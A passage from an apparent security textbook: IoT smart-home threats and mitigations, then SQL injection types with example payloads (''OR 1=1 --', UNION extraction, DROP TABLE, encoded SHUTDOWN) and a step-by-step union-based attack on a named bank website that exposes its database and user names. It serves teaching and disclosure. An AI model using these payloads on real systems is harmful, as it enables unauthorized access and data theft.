refrigerators, smart washing machines, smart sockets, smart ovens, smart toasters, and so 
on. A smart refrigerator determines the items stored in it along with their manufacture 
and expiry dates. It can also transfer its item list to several another display devices. A smart 
washing machine allows the remote monitoring and control of the washing process. A 
smart socket allows the remote  control of electronic devices connected to it [7]. 
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10.3.4 Mobile Phones 

Smart mobile phones have innovative features such as a high-resolution touch screen with 
large size, high connectivity, internet surfng, large text messaging, video calling, applica-
tions, and so on, compared to ordinary mobile phones. Smartphones have made life easier, 
as individuals can access data anytime from anywhere using their smart mobile phone. 
Tey also support three-dimensional gaming. 

10.3.5 Home 

Today, homes are known as smart homes if they have smart household facilities, such as 
smart household appliances, smart entertainment devices, a smart security system, and a 
smart electronic system ftted in them. All of the amenities of a smart home can be con-
trolled and monitored remotely [8]. 

10.4 CASE STUDY ON SMART COMPUTING (SMART HOME) 
 Te development of technology has made home automation possible, which in turn has 
made our lives more luxurious. So a collection of smart devices, smart appliances, and 
smart systems connected to one network that can be operated, monitored, and controlled 
remotely using a smartphone or laptop is termed a “smart home.” Te operation of a smart 
home is shown in  Figure 10.1 .     

A smart home provides facilities such as turning home lights on or of remotely. T e 
home’s air conditioning is operated remotely. Te home’s gate is secured by smart devices 
that can be operated remotely to open or close the gate. If an intruder enters the home, 
bypassing various security precautions, the owner is immediately notifed. Many more 
facilities are provided. Te number of facilities provided depends on the number of smart 
devices, internet connection, and their integration by a home professional. T e architec-
ture of a smart home is shown in  Figure 10.2. 

As every technology has advantages and disadvantages, similarly smart homes have 
pros and cons, which are listed next [9, 10]. 

FIGURE 10.1 Smart home operation. 
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FIGURE 10.2 Architecture of a smart home. 

10.4.1 Pros of a Smart Home 

1. All home amenities are managed from a single point using a laptop or smartphone. 

2. New devices and appliances can be easily integrated into smart home automation 
technology. 

3. Home security can be maximized by deploying smart access controls and security 
cameras. 

4. Home functions can be controlled remotely from anywhere using a smartphone. 

5. Advancements in technology have improved appliance functionality. 

10.4.2 Cons of a Smart Home 

1. Installation is not easy; it requires expert technicians. 

2. All smart devices will stop functioning when the internet is down. 

3. Te smart home is operated by complex technology in which collections of devices 
are connected to the ordinary network. 

4. To manage the technology, several applications and programs are needed. 

5. Not all smart devices may be compatible with one’s smart home. 

10.4.3 Operation of a Smart Home 

In smart home automation, various smart wireless appliances are physically set up in the 
home but are controlled and monitored remotely [11]. Tey can communicate with remote 
control devices such as homeowner’s smartphone, tablet, or laptop. 

Smart wireless appliances like sensors in the security system, locks, smoke detectors, 
and so on use Z-wave technology. It is the protocol for wireless communication used in 
home automation [12]. Its radio waves provide communication between appliances. 

In smart homes, not everything may be automated, but anything electronic can be auto-
mated. Te volume of automation in a smart home varies from high-class to middle-class 
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owners. High-class owners tend to opt for the highest end customized automation tech-
nology, whereas middle-class owners tend to opt for regular automation products that are 
available on the market for their home. 

In wireless home automation, low-power equipment is installed to send and receive 
data. Its setup usually comprises the internet of things (IoT), which are wireless devices. 
Homeowners access these devices remotely via the internet. Other various wireless proto-
cols have been developed for smart home automation, some are listed here: 

1. ANT (network ): Tis is a wireless connection protocol similar to Bluetooth. It is an 
ultra-low-power protocol operating at the 2.4-GHz band [13]. 

2. Bluetooth: All smartphones and mobiles have Bluetooth in built in for connecting 
to peripheral devices such as speakers, headsets, and so on. It is also used in smart 
home protocols. Continuous improvement has taken place between Bluetooth ver-
sion 4 and version 5 in terms of increased data speed. 

3. Wi-Fi: It is the best suited as devices need to be connected at all times in a smart 
home. It is a high power consumption protocol. 

4. ZigBee : Tis is a low power consumption protocol developed for personal area net-
works. It provides better coverage in homes utilizing less power. It is also very useful 
for short-range connections. 

10.5 INTERNET OF THINGS (IoT) 
Today, the web not only is a network of computers but has also progressed into a network 
of heterogeneous devices. IoT is defned as a network of web-connected things or objects 
in which information is gathered and transmitted without human interference via a wire-
less channel [14]. In IoT, communication usually takes place from individual to individual, 
from individual to thing, or from thing to thing via the web. 

 Te objective of IoT is to empower things to communicate with anyone from anywhere 
at any time via any network or any service.  Figure 10.3  depicts the objective of IoT. 

10.5.1 The Main Characteristics of IoT [15] 

1. Interlinkage: IoT provides a link to anything with global information and commu-
nication technology. 

2. Services related to things: IoT ofers services as per the limitations of things such as 
security, privacy, and consistency. 

3. Heterogeneity: Objects in IoT are of dif erent confgurations and from dif erent net-
works. Communication also takes place between objects via dif erent networks. 

4. Vigorous changes: In IoT, devices change their state vigorously and the number of 
devices changes vigorously. 
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FIGURE 10.3 Internet of things. 

5. Efective data handling: IoT of ers efective data handling, as it can manage and 
interpret data generated from heterogeneous devices while communicating with one 
another. 

6. Security: IoT ensures the security of all devices connected, the network, and infor-
mation transmitted over the network. 

10.5.2 Architecture of IoT 

 Te architecture of IoT comprises four layers: smart devices layer, network layer, IoT plat-
form layer, and application layer. Figure 10.4 shows the architecture of IoT. 

1. Smart devices layer: Tis comprises sensor-integrated smart devices. A sensor in 
smart devices senses data, performs processing over it, and emits it to the network 
layer. 

2. Network layer: Tis layer comprises the internet and a network gateway such as 
Wi-Fi, Bluetooth, LAN, or WAN. It provides connectivity to the sensor gateway. It 
also provides basic gateway functionality. Here, data are collected then aggregated, 
and analog data are converted to digital data. 
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FIGURE 10.4 Architecture of IoT. 

3. IoT platform layer: Here data acquired from the network layer are examined, pre-
processed, and sent to data centers where the data are observed and managed to plan 
future actions. 

4. Application layer : Sofware applications like government, healthcare, fnance, and so 
on then access those data centers. 

10.6 CHALLENGES OF INTERNET OF THINGS (IoT) 
IoT is rapidly becoming part of home living, as there are many benefts to adopting IoT 
technology. Tere are also some challenges of IoT listed next. 

1. Security: Security is one of the most important challenges faced by IoT as the smart 
devices in it are heterogeneous. Tus, it must provide the secure exchange of informa-
tion between its devices, protect vulnerable devices by mechanisms, and provide the 
sharing of trustworthy and reliable information. IoT must also provide security at its 
dif erent layers. 

In the smart device layer, it must provide device access control and encryption. 
At the network layer it must provide security for connectivity and communication. 
For the IoT platform layer it must provide secure data storage and management and 
be able to handle using techniques such as cryptography. In the application layer, it 
must provide authentication, authorization, privacy control, and application-specif c 
encryption techniques. 

2. Interoperability: These days, organizations develop applications using differ-
ent standards. In IoT, applications need to connect to the internet to access data. 
But the prerequisite of the internet is that connected devices must communi-
cate on the same protocol. So IoT must provide a standard interface to support 
interoperability. 

3. Data administration: As heterogeneous devices are interconnected and communi-
cating, large volumes of heterogeneous data are constantly generated and processed. 
So, IoT must provide a data-handling mechanism and also secure the data. 

4. Scalability: In IoT, millions of heterogeneous devices are connected via the internet, 
where a huge amount of data processing takes place. Tus, data centers that store and 
manage data must be scalable. 

5. Government regulations: IoT technology is progressing rapidly, but governments 
lag in providing regulations and standards for it. Some adopt IoT immediately, while 
others adopt it afer government regulations and standards are developed. 
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10.7 INFERRING CYBER-ATTACKS AND MITIGATION TECHNIQUES 
Cyber-attacks are classifed as active or passive. In an active attack, the attacker directly 
gains access to smart home devices and can disturb their functions or gains unauthorized 
access to the homeowner’s data or afects his/her privacy and safety. In a passive attack, 
the attacker passively spies on communication to gain information that may be used in the 
future to perform an active attack. 

A smart home is a collection of heterogeneous IoT devices connected via internet. 
Various cyber-attacks such as man-in-the-middle, link spoofng, and so on are possible 
due to heterogeneous IoT vulnerability. Tus, it is necessary to identify various security 
risks, analyze them, and mitigate them to have safe, smart home. 

10.7.1 Key Vulnerabilities in a Smart Home and Their Mitigation 

Smart home architecture comprises a collection of various IoT devices. IoT architecture 
has four layers; a cyber-attack can take place at any of the four layers. Some smart home 
vulnerabilities are explained here, along with their mitigation. 

1. Heterogeneous IoT devices: In smart home technology, heterogeneous devices 
are communicating via the web. Heterogeneous data are generated and transmit-
ted between devices using a heterogeneous protocol. Any vulnerability in any of the 
devices or protocols can easily be attacked. Tus, IoT companies are forced to develop 
security policies for devices and protocols. A user must be aware of not only the IoT 
device and its functionality but also its security policy while using it. Afer installing a 
device in his/her smart home, the user must regularly update it with security patches. 

2. Out-of-date protocol: Currently, there are many out-of-date protocols available that 
have not been upgraded. An attacker can easily launch an attack on one of these.  
Tus, IoT companies must make use of the most up-to-date protocols in their IoT 
devices. Also, the user must regularly check for updates to protocols af er installation 
in his/her smart home. 

3. Frail encryption: Smart home devices contain crucial information about users. 
Because devices are communicating via the internet to exchange data, these data 
need to be encrypted or else an attacker can easily exploit them. Encryption is a cryp-
tographic technique in which data or information is converted to cipher text so that 
the actual meaning of the data or information is accessible only to an authorized user. 
Tus, IoT companies must incorporate strong encryption techniques in their devices. 

4. Control using applications: Few IoT companies produce smartphone application– 
controlled devices. Tose applications can be easily exploited by an attacker: the 
attacker can insert a malicious code into the application, which is in turn installed on 
the device along with the application, giving control to the attacker. Te attacker can 
now attack the device. 

5. Frail authentication: Authentication is the process of verifying a user’s identity to 
the system. Before any device is used, its default authentication credentials must 
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be changed, as default credentials can be easily guessed by an attacker to attack  
the device. Te user must employ strong authentication credentials, which must be 
changed periodically. Every device must have diferent authentication credentials, 
because use of the same credentials of authentication for all devices will compromise 
all of the devices if the attacker obtains the credentials. One should avoid using per-
sonal information in credentials as it is can be easily guessed by an attacker. 

10.7.2 Main Attacks on Smart Homes and Their Mitigation 

For a secure smart home, it is necessary to scrutinize various possible attacks and their 
impact on the system. As smart home consist of various IoT devices, and attacks can take 
place at any layer of the IoT architecture. Some smart home attacks are explained next 
along with their mitigation. 

1. Denial of service (DOS) attack: In a DOS attack, the target is attacked by sending  n 
number of unnecessary requests from one system so that the target is overloaded and is 
not available to authorized users. Figure 10.5 shows a DOS attack on a smart home. In 
a smart home, an attacker can perform a DOS attack on the data center or the process-
ing node so that it is not available to authorized users or might crash due to overload 
requests. Tis can be mitigated by implementing the requirement that the data center 
and processing node can only accept requests from authorized systems and users. 

2. Distributed denial of service (DDOS) attack: In a DDOS attack, the target is 
receives n number of unnecessary requests from n number of compromised systems, 
so that the target is overloaded and it is not available to authorized users.  Figure 10.6 
shows a DDOS Attack on a smart home. In a smart home, an attacker can perform 
a DDOS attack on the data center or the processing node so that it is not available 
to authorized users or might crash due to overload requests. Tis can be mitigated 

FIGURE 10.5 DOS attack on a smart home. 
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FIGURE 10.6 DDOS attack on a smart home. 

by implementing the requirement that the data center and processing node can only 
accept requests from authorized systems and users. 

3. Man-in-the-middle attack: In a man-in-the-middle attack, the attacker inserts 
him-/herself in between the communication of two systems and either eavesdrops 
or impersonates as of the authorized systems. In smart home technology, an attacker 
can perform a man-in-the-middle attack by interjecting him-/herself into the com-
munication between devices or between a device and the user.  Figure 10.7  shows a 
man-in-the-middle attack on a smart home. Te attacker can then either passively 
gather data or information and use it later to attack devices or the system, or the 
attacker can impersonate an authorized device or user and gain control over the 
other devices and exploit the whole system. 

4. Hijacking: In hijacking, the attacker can take a control of any device. It is very dif-
fcult to identify a hijacked device as its functioning is not afected. But the attacker 
uses that device to compromise other devices in the smart home. 

5. Identity thef: In identity thef, the attacker uses an authorized person’s details to 
perform online fraud like transferring money from the person’s bank or shopping 
online. Smart home devices gather the user’s personal information, along with bank 
details. An attacker can target a device gathering the user’s information to compro-
mise it by carrying out an attack and fetching all information about the user from it, 
which the attacker can use later to perform online fraud. Tus, devices that gather 
user information or data must be updated regularly for security patches. Also, data 
and information must be stored on devices using strong encryption techniques. 

6. Eavesdropping: In eavesdropping, the attacker monitors the smart home’s com-
munication network and captures data fowing in and out of the smart home envi-
ronment [16]. He/she then fetches all credential information from it. Owners and 
authorized users are unaware of a confdentiality attack on their smart home.  Figure 
10.8 shows an eavesdropping attack on a smart home. Te attacker later uses the cre-
dential information obtained to launch an attack or to gain unauthorized access to 
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FIGURE 10.7 Man-in-the-middle attack on a smart home. 

FIGURE 10.8 Eavesdropping attack on a smart home. 

the smart home. Tus, the data moving in and out of a smart home environment must 
be encrypted strongly. A private frewall must be installed at a smart home’s gateway, 
and all of the antivirus and other sofware installed must be updated regularly. 

7. Masquerading: In masquerading, the attacker uses an authorized user’s identity to 
gain unauthorized access to the smart home. Tus, a strong password must be set for 
authentication, it must be constantly changed, and the same password must not be 
used for multiple services. 

8. Replay attack: In a replay attack, the attacker replays an authorized request captured 
by eavesdropping on the smart home and gains access to it. Tus, strong encryption 
techniques must be applied to data fowing in and out of the smart home environ-
ment. A private frewall, such as a virtual private network (VPN), must be installed, 
and all antivirus and other sofware installed must be updated regularly. 
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9. Malicious program: A malicious program attack on a smart home can come in the form 
of a virus, spyware, worm, or a Trojan [17]. It exploits weakness inside the smart home’s 
network. It accesses, changes, or deletes information. It can grant unauthorized access 
to the smart home environment. Tus, all antivirus and other sofware installed must be 
updated regularly for patches. Private frewall and intrusion detection systems must be 
implemented at the smart home’s gateway to detect and discard malicious programs. 

10. Phishing: In phishing, the attacker sends email to an authorized user of the smart 
home’s system that contains a malicious website to any IoT device installed in the 
home, requests the user to enter credentials, and then gains full control over that IoT 
using those credentials [18, 19]. Tus, before clicking on any link in email, the user 
must verify the sender’s id, and if the user visits any website, its uniform resource 
locator (URL) must be verif ed. 

11. Botnet: In botnet, the attacker compromises one of the IoT devices in the smart home 
and then uses it as a botnet to compromise other IoT devices or to perform malicious 
activity in the smart home environment [20]. Tus, antivirus and anti-spyware sof -
ware must be installed, scanned frequently, and updated regularly for patches. 

10.8 CONCLUSION 
 Te novel rebellion of the internet is the internet of things (IoT). IoT devices are integrated 
in various domains, such as government, healthcare, phones, homes, and so on to make 
them smart. In a traditional home, the user has to close doors and windows, switch of 
electrical devices, lock the main door, and so on before leaving home. But now, with smart 
home technology, the user can open or close doors and windows, switch the electricity on 
or of, lock or unlock the main door, and switch electrical appliances on or of remotely. 
Te user can monitor, operate, and manage the home remotely. 

Smart home technology comprises heterogeneous IoT devices connected via the inter-
net. Tose devices communicate with each other via the internet, generating heteroge-
neous data that are stored and processed at processing nodes or a data center. Here, privacy 
and security are key requirements. Numerous types of cyber-attacks can be performed 
on heterogeneous IoT devices due their vulnerabilities. Also, various cyber-attacks such 
as denial of service, distributed denial of service, man-in-the-middle, hijacking, identity 
thef, eavesdropping, masquerading, replay, malicious programs, phishing, and botnets 
can take place as devices are connected via the internet and data are generated, stored, and 
processed for future decision process.

 Tus, in this chapter we frst interpreted smart computing and then brief y explained 
its applications. Ten, we used a case study to illustrate a smart home. It comprises smart 
home architecture, smart home advantages and disadvantages, and the operation of a 
smart home and its protocols. We interpreted IoT with its objectives, characteristics, and 
architecture, followed by the challenges it faces. Finally, we discussed various cyber-attacks 
due to vulnerability and main attacks on the smart home, along with their respective miti-
gation techniques. Mitigation techniques must be incorporated in the development of a  
secure, smart home. 
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11.1 INTRODUCTION 
 Te digital world is not conceivable without the concept of the web. Many dif erent sectors 
of within countries, like administrative, banking, and private companies, are all mak-
ing their places in the digital world. Now, India has taken the initiative Digital India, 
which is envisioned to cater government services digitally to each citizen, thus empower-
ing the nation [1]. Te website is an essential component for the communication of the 
data. Websites play a vital role in the smooth functioning of diferent activities during 
this critical period because of COVID-19. Dependence on web applications for f nancial, 
ofcial, and educational activities is almost mandatory. Te usage of web applications has 
increased tremendously due to the pandemic condition. Web applications are made up of 
diferent web technologies. Te common gateway interface (CGI) protocol was the f rst 
leap forward in this progression, acting as a middleware between servers and clients. Later, 
more evolved frameworks manifested. J2EE, PHP, ASP.NET, Ruby on Rails, AJAX, and 
others emerged to incorporate more interactive features, allowing users more f exibility 
and power when managing data and workfow within the web applications. 

Security professionals recognize that technology has changed dramatically in the last 
decade and believe that these fast-paced technological changes have created several web secu-
rity challenges, including multiple system entry points in laptops, smartphones, and tablets, a 
lack of continuous visibility to detect advanced attacks, and a lack of resources to implement 
new technological solutions. Te most common threat to the security of web applications is 
the widespread occurrence of diferent types of web application vulnerability. A vulnerabil-
ity is a weak point or gap in the application that allows a malicious attacker to endanger the 
application’s stakeholders. Hence, web security is immensely a challenging task.

 Tere are several types of web application vulnerability, and each one has special proper-
ties such as the vulnerability style, attack vectors, and detection and prevention techniques. 

FIGURE 11.1 OWASP’s Top Ten list for 2020 [see Ref. 2]. 
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Figure 11.1  shows the Open Web Application Security Project’s (OWASP) top ten vulnera-
bilities that are used in the hacking of web applications. Structured query language injection 
(SQLI), cross-site scripting (XSS), fle inclusion, directory traversal, and command Injection 
create enormous hazards. An occurrence of these attacks on the web completely degrades 
the services to regular users. Among all of the attacks, SQL injection (SQLI) is one of the 
most prominent and common attacks employed by attackers to steal identity and other sen-
sitive information from websites. Per the OWASP’s [2] latest report, SQLI is still the topmost 
web vulnerability globally in 2020, as shown in  Figure 11.1. Successful exploitations of SQLI 
attacks (SQLIAs) have already caused signif cant fnancial losses to organizations. 

Despite the increase in security, in 2020 a threat actor was selling data from 46 data-
bases with server information on various cyber-crime forums for as little as US$500. He 
obtained crucial user data from matrimony sites like BharatMatrimony.com [3] by exploit-
ing SQLI vulnerability on their platform. As per reported in the news in 2019, the Uttar 
Pradesh State Road Transport Site, an Indian government website, was vulnerable to an 
SQLI attack (SQLIA) [4]. Tis attack exposed the extensive database and was discovered by 
the leading Indian security engineer. Tis issue had been reported to the Indian Computer 
Emergency Response Team (CERT-In). In 2018, Aadhaar data were breached [5], in which 
the Telangana government’s beneft disbursement portal was hacked by a white hat French 
hacker. He exposed 56 lakh National Rural Employment Guarantee scheme benef ciaries’ 
Aadhaar details and another 40 lakh social security pension legatees’ data. He also revealed 
the Indian BSNL intranet this year, which impacted 47,000 employees [6]. Te Internet Q3 
2017 Security Report by the content delivery network Akamai states that SQLI attacks have 
increased by 62% since 2016 and 19% since last quarter of 2017, because the organization 
has not yet taken any vital actions against SQLI vulnerability [7]. Tis is how SQLI attacks 
are dangerous and impact the confdentiality, authentication, authorization, and integrity 
of the system. 

In this section, we have introduced the domain, that is, web application security, and 
further discussed how the topmost web vulnerability, SQLI, is dangerous by discussing the 
current security afairs of SQLI attacks on Indian organizations. Te details of SQLIA are 
presented in the next section. It aims to understand the SQLIA, its types, and how it works. 
Further, in the following section there is a detailed discussion about live attacks on Indian 
websites. Initially, the conventional approach like a tautology is explained in regard to how 
to make an SQLIA on live Indian websites. Te next subsection will explain how to launch 
an SQLIA using both the manual and the automatic penetration techniques. Af er suc-
cessfully launching attacks on secure Indian public and private sectors websites, we have 
retrieved confdential data and show the outcome here. We make these Indian organiza-
tions conscious of their application loopholes. Finally, suggested preventive guidelines are 
elaborated from the developer’s as well as the administrator’s point of view. In this study, 
because of security reasons, we have not disclosed the names of the websites. 

11.2 SQLI ATTACK 
11.2.1 Overview of Attack 

An SQLIA targets interactive web applications that employ database services. T ese applica-
tions accept user inputs and use them to form SQL statements at runtime due to vulnerable 

http://BharatMatrimony.com
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code. As shown in  Figure 11.2, an attacker might provide malicious SQL query segments 
as user input during an SQLIA. In vulnerable applications, the fltering user inputs that 
remove the injecting SQL keywords or runtime monitoring approach that monitor the user 
input, such a techniques are absent, resulting in a malicious database request. As shown 
in Figure 11.2, these applications accept user inputs and use them to form SQL statements 
at runtime, so that the original SQL statement select * from users where login = “abc” and 
pass = “passwd” changed to become  select * from users where login =“ ’ or 1=1 -- ” and pass = 
“passwd”. Tis way, by using an SQLIA, an attacker could thus obtain and/or modify con-
fdential and sensitive information. SQLI allows an attacker to create, read, update, modify, 
or delete data stored in the backend database. Tus, SQLI exploits security vulnerabilities at 
the server layer. Te standard attack vectors are listed in Table 11.1. 

• Trough user input f eld: Web application requests are made through user input 
felds that transfer user requests from client side to server side and back to client side 
with HTTP POST and GET methods. Tese inputs are connected with the backend 
database using SQL statements to retrieve and render requested information for users 
or to link to the system. Attackers can inject malicious input to change the intended 
query if these inputs are not properly validated. Te standard methods used here 
are parameter tampering, URL manipulation, hidden feld manipulation, and HTTP 
header tampering to inject malicious data into the web applications. 

• Injection through cookies: Cookies are structures that maintain web application 
persistence by storing state information in the client’s machine. When a client returns 
to a web application, cookies can restore the client’s state information. If a web appli-
cation uses the cookies’ contents to build SQL queries, then attackers can take this 
opportunity to modify the cookies and submit them to the database engine. 

• Injection through server variables: Server variables are a collection of variables that 
contains HTTP, network headers, and environmental variables. Web applications 
use these server variables in diferent ways, like session usage statistics and identi-
fcation of browsing trends. If these variables are logged to database queries without 

TABLE 11.1 SQLI Attack Vectors 
  Aspect of injection    Attack approach    Event  

User input feld Parameter/hypertext transfer protocol Pass specially crafed malicious values in 
(HTTP) header tampering, URL, and felds of hypertext markup language 
hidden f eld manipulation (HTML) forms 

Cookies Dynamic input Place malicious data in cookies, small 
fles sent to web-based applications 

Server variables HTTP, network headers, and Server variables used in dif erent ways, 
environmental variables such as session usage statistics and 

identifcation of browsing trends 
Second-order injection From within the system Saved malicious input into the database 

can be used later time 
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FIGURE 11.2 Tautological login inputs for the cooperative bank. 

sanitization, this could create an SQLIA. Attackers can forge the values placed in 
HTTP and network headers by entering malicious input at the client end of the appli-
cation or by crafing their request to the server. 

• Second-order injection: In second-order injections, attackers plant malicious input 
into a system or database to indirectly trigger an SQLIA. When this saved input is 
used at a later time, then the attack occurs. Tis input that modifes the query to 
construct an attack does not come from the user directly but from within the system 
itself. 

11.3 SQLI ATTACK TYPES 
11.3.1 Tautologies

 Tis type of attack is used to avoid authentication control and to access data by exploit-
ing the vulnerable input feld used at the WHERE clause. It injects SQL tokens to the 
conditional query statement that will always be evaluated true, like  ’ or 1=1--. Here the 
attacker is aiming to keep the value of condition statements equal to true for receiving 
data. Initially the query syntax looks like  Select * from users where login = “+username+” 
and pass = “+Pass+”; afer the injection, the query will be changed to  Select * from users 
where login = “ ’ or 1=1 -- ” and pass = “passwd”. Te query part af er--is considered as 
commented, and because  1=1 is always true, the query will return all of the data that exist 
in the table. 

11.3.2 Illegal or Logically Incorrect Queries 

When a query is not in the proper syntax, an error message is returned from the data-
base that includes useful debugging information. Tese error messages help attackers 
to discover vulnerable parameters in the application and database f ngerprinting, and 
to obtain data from the database of the application. Te attacker injects junk input or 
SQL tokens in the query to produce syntax errors, type mismatches, or logical errors by 
reason. Tis is used at the early stage of an attack to gather information about the data-
base. Here, the attacker purposely injects the wrong syntax so that the query becomes 
like Select * from users where login =“HAVING 1=’1 ”; --and Pass = “abc”. Tis query will 
generate an error message from database, which may give useful information to carry 
out the attack. 
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11.3.3 Union Query 

By this method, the attacker joins the injected query to the safe and sound query using the 
word “UNION” and can obtain data about other tables from the application. T e output 
of this attack is the union of the legitimate application query results with the results of 
the malicious attack query. For example, the injected query is  “UNION Select CrucialData 
from Table where No = 007” .Terefore, the fnal submitted query will look like this:  Select 
ID from users where login = “ ’UNION Select CrucialData from Table2 where No = 007” 
ANDpass =”. At this stage, the database engine will execute the frst query and return null, 
and then it will run the second query and return the data. 

11.3.4 Piggybacked Queries 

In a piggybacked query, the attacker tries to add additional queries to the original query 
string. In this method, the primary initial query is original, and the subsequent query is the 
injected one. Here the intruder exploits the database by the query delimiter, such as  “;” , to 
append an extra query to the original query. Piggybacked queries are used to add, delete, 
or update the tables. Tey also can be used for denial of service. For example, suppose that 
the SQL code  ’; drop table UserTable -- has been input at the login feld of the login system 
page. Ten the scenario will be as follows:  Select * from UserTable where username = “  ’; 
DROP TABLE UserTable -- ” and userpassword = “user_entry_password”. T e f rst query 
will return null as the username is blank, and then the second query will execute and it will 
drop the table  UserTable. 

11.3.5 Stored Procedure 

Here, the attacker focuses on the stored procedures present in the database system. Stored 
procedures run directly by the database engine. For example, the developer prepares the 
login condition statement as follows: 

SELECT @sql_procedure = “SELECT LoginId, LoginPassword from UserTable where 
LoginId=”+ @userlogin + AND LoginPassword = “+@password+” 

EXEC (@sql_procedure) 

In this case, the use of a stored procedure  @sql_procedure provides a way for the attacker 
to harm the database of the application, as the input values have direct access to this database. 

11.3.6 Inference 

By this type of attack, an intruder fnds and views a database or application’s behavior to 
identify the vulnerable parameters. It is worked by executing the statement with a Yes or 
No value. Tere are two, well-known attack techniques. 

11.3.6.1 Boolean Injection 
 Tis is like the logically incorrect queries in which the attacker asks a sequence of true or 
false type questions through SQL statements. Te application will not function normally if 
it is false, and the application will function normally if it is true. 
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11.3.6.2 Timing Attacks 
In this attack, the attacker collects or observes the database information by noticing tim-
ing delays in the web actions. For example,  select Id from Table where login =  “ abc” and 
ASCII (SUBSTRING ((select top 1 name from sysobjects),1,1)) > X WAITFOR 5 –“AND 
PASS=”. 

11.3.7 Alternate Encoding 

Normal attack techniques look for known characters or keywords called bad characters. In 
this technique, the attacker escapes from the regular detection approaches by using injected 
text that uses alternate encoding. Te alternate encoding uses injected text encoded in 
ASCII, Unicode, or hexadecimal. For example, SELECT accounts fromusers where login = 
“abc” and PASS=  “ ’; exec(char(Ox73687574646j776e))”.  In this example, the char func-
tion is used with ASCII encoding SHUTDOWN. Afer the execution of the frst query, the 
next statement will execute shutdown of the databases. 

11.4 SQLI ATTACK MECHANISMS 
SQLI is the code injection technique that takes advantage of the code vulnerabilities when 
user inputs are not properly sanitized or fltered. At frst, with the Google Dorks list’s help, 
the SQLI-vulnerable sites are manually identif ed. Te testing is done using a conventional 
practice like tautology, and further, more analysis is done using the manual and automatic 
SQLI execution steps. Next, by deeply exploiting the site, sensitive information is retrieved. 
Finally, it is reported to the respective organization. 

We have launched an attack on Indian government, banking, and educational web-
sites by entering illegal inputs. In this study, for safety reasons, we are using anonymous 
URLs. 

11.4.1 Conventional SQL Injection Attack 

A tautological input is a conventional way to complete SQLI on any vulnerable website. T e 
Indian websites may be vulnerable; hence, an SQLIA can be made on them. Live websites 
for an Indian cooperative bank, Renowned North Indian Vidyapeeth, and Indian State 
Government PF are used here for our SQLI tautological attack analysis. Te admin login 
pages are shown in  Figures 11.2,  11.3, and  11.4, respectively. 

FIGURE 11.3 Tautological login inputs for Vidyapeeth. 
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FIGURE 11.4 Tautological login inputs for government site. 

We have launched at autological SQLIA on these admin login pages by entering tauto-
logical input, that is,  ’OR 1=1 -- at user name/ID and password felds, as shown in Figures 
11.2–11.4. When the input felds are not appropriately cleaned or fltered to pass tautologi-
cal inputs, the database can be accessed by the manipulated select query. Even though we 
do not know the login credentials, these Indian government websites’ servers considered 
this malicious data to be factual data and granted access to the admin panel [8]. 

Figure 11.5  shows the admin page for the bank we logged into, where we can update cru-
cial parameters like gold and silver values and the bank’s fnancial scheme name and rate. 

As shown in  Figure 11.6, we can see Vidyapeeth’s admin page for changing the admin 
password afer we logged in. 

We could also log in as an administrator on the government’s PF website, as shown in 
Figure 11.7. As shown in  Figure 11.8, we can change the admin’s password, and we can 
change or delete the portal’s images, contents, and messages, which is quite risky and has 
serious ef ects. 

FIGURE 11.5 Crucial values that can be updated as a bank administrator. 
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FIGURE 11.6 Crucial values that can be updated as a college administrator. 

FIGURE 11.7 Logged in as an administrator. 

FIGURE 11.8 Changing password as an admin user. 

11.4.2 Vulnerability Analysis of SQL Injection 

Web applications are developed using the combination of server-side technologies (e.g., 
PHP/JAVA) and client-side scripts (e.g., JavaScript and HTML). Te server coding handles 
the processing, storing, and retrieval of the data, and client-side scripts show this infor-
mation as web content. Te attack analysis is carried out to fnd the weaknesses in the 
application. Te manual and tool-assisted testing approaches are used here to analyze and 
gather the SQLIA information. We examine the website for those weaknesses that are pres-
ent in the code in which the data are processed through database queries. 
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11.4.2.1 Manual SQLI Execution Steps 
Manual testing is the conventional way (as done in the preceding section) and can be done 
directly on the website page or URL. If we found an error while doing the manual inves-
tigation, then there is a possibility of obtaining the information or secure data by apply-
ing the SQLI. Here, step-by-step manual testing is carried out on one of southern India’s 
renowned city cooperative banks. We used the following URL:   www.cobanksouthcity.com/ 
album.php?id=* 

1. First, we will determine whether the website we have elected is vulnerable to SQLI. 
To do this, we add the single quotation mark (’) at the end of the URL and press enter. 
If we get the SQL syntax like error or the output is distorted, it is vulnerable. T is 
means the URL value with the quotation mark (’) is not properly sanitized here and 
appended at database query. Tis error-prone query is unable to execute normally 
on the server, which gave an error in response, and as the application is vulnerable, 
we got distorted output. Te output of the URL   www.cobank  southcity.com/album. 
php?id=38’ is distorted, as shown in Figure 11.9. Tis means the south city central 
cooperative bank’s website is vulnerable to SQLI, even though it is a secure  http  URL 
(i.e., HTTPs). 

2. Now, let’s check how many columns the table has by making an arbitrary attempt to 
check the number of columns. We put the URL as www.cobanksouthcity.com/album. 
php?id=38  order by 1,2,3,4--. Tis worked correctly, and we got the correct, corre-
sponding output as shown in  Figure 11.10. If we executed the previous command  
with fve numbers of columns, then the output was distorted. So, this determines the 
number of columns for this is four. 

   3. Execute the command  www.cobanksouthcity.com/album.php?id=-38  UNION select 
1,2,3,4 --. In URL parameters, the value -38, which because of the character“-” is 
treated as a false condition, does not give any output, and we fnally get the entire 
Union query’s response. Tis query output shows a number. Tis number is nothing 

FIGURE 11.9 Website vulnerable to SQL injection as shown by distorted output. 

http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
http://www.cobanksouthcity.com
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FIGURE 11.10 Finding data from the bank’s vulnerable website. 

FIGURE 11.11 Vulnerable column to SQL injection. 

but the vulnerable column number. It is displayed in  Figure 11.11  as “2.” T is means 
the second column is to be taken as a vulnerable column. 

4. Now we replace the number 2 from the previously mentioned query with the 
word “database ()” for fnding the database’s name. Now the command becomes 
www.cobanksouthcity.com/album.php?id=-38  UNION select 1, database(), 3,4 --. 
Figure 11.12 shows that the database name “ccbankch_cccbdb” is the one used by this 
application. Similarly, we can fnd out the user name “ccbankch_usrbnh2@localhost” 
exposed in Figure 11.13. 

   5. Now we will fnd the table names from the database. Replace the “2” with 
“group_concat (table_name)” and add the query part “from information_schema. 

http://www.cobanksouthcity.com
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FIGURE 11.12 Vulnerable site showing the database name. 

FIGURE 11.13 Vulnerable site showing user name. 

tables where table_schema = database()” at the end. Now the URL becomes   www. 
cobanksouthcity.com/album.php?id=-38 UNION select 1, group_concat (table_ 
name),3,4 from information_ schema.tables where table_schema=database() --. T e 
